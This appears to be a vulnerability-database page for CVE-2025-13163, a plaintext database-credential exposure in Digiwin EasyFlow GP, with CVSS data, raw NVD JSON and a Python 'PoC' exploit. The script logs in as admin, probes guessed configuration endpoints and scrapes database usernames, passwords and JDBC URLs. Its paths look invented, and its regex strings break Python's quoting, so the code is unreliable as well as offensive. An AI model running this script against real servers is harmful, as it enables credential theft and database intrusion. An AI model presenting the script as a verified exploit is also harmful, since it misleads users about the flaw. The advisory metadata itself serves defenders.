Security Vulnerability Report
中文
CVE-2025-13163 CVSS 4.9 MEDIUM

CVE-2025-13163

Published: 2025-11-17 08:16:22
Last Modified: 2026-04-15 00:35:42

Description

EasyFlow GP developed by Digiwin has an Insufficiently Protected Credentials vulnerability, allowing privileged remote attackers to obtain plaintext database account credentials from the system frontend.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Digiwin EasyFlow GP (all versions prior to vendor patch)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13163 PoC - EasyFlow GP Database Credential Exposure # This PoC demonstrates how to extract database credentials from EasyFlow GP import requests import re import sys from urllib.parse import urljoin def exploit_easyflow_credential_disclosure(target_url): """ Exploit for CVE-2025-13163: Insufficiently Protected Credentials Target: Digiwin EasyFlow GP Effect: Obtain plaintext database credentials from system frontend """ print(f"[*] Targeting: {target_url}") print("[*] Exploiting CVE-2025-13163 - Credential Disclosure\n") # Step 1: Login with privileged account login_url = urljoin(target_url, '/EasyFlow/forms/login.do') login_data = { 'userId': 'admin', # Privileged account required 'password': 'password', 'action': 'login' } session = requests.Session() response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") return print("[+] Login successful with privileged account") # Step 2: Access system configuration page config_paths = [ '/EasyFlow/forms/sysconfig.do', '/EasyFlow/forms/dbconfig.do', '/EasyFlow/api/system/config', '/EasyFlow/api/database/connection', '/EasyFlow/forms/efweb/systemSetting.jsp' ] db_credentials = {} for path in config_paths: url = urljoin(target_url, path) response = session.get(url) # Step 3: Extract database credentials from response # Common patterns for database credentials patterns = { 'db_user': r'(?:db[_-]?user|database[_-]?user|username)[=:]\s*['"]([^'"\s]+)['"]', 'db_pass': r'(?:db[_-]?pass|database[_-]?pass|password)[=:]\s*['"]([^'"\s]+)['"]', 'db_host': r'(?:db[_-]?host|database[_-]?host|server)[=:]\s*['"]([^'"\s]+)['"]', 'jdbc_url': r'jdbc:[^'"\s]+://([^/\s]+)', } for key, pattern in patterns.items(): matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: db_credentials[key] = matches[0] if db_credentials: break # Step 4: Display extracted credentials if db_credentials: print("[+] Database Credentials Found:") for key, value in db_credentials.items(): print(f" {key}: {value}") print("\n[!] WARNING: These credentials provide direct database access") else: print("[-] No credentials found in standard locations") print("[*] Manual investigation may be required") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://vulnerable-server:8080") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_easyflow_credential_disclosure(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13163", "sourceIdentifier": "[email protected]", "published": "2025-11-17T08:16:22.123", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "EasyFlow GP developed by Digiwin has an Insufficiently Protected Credentials vulnerability, allowing privileged remote attackers to obtain plaintext database account credentials from the system frontend."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10504-23f4c-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10503-a66fe-1.html", "source": "[email protected]"}]}}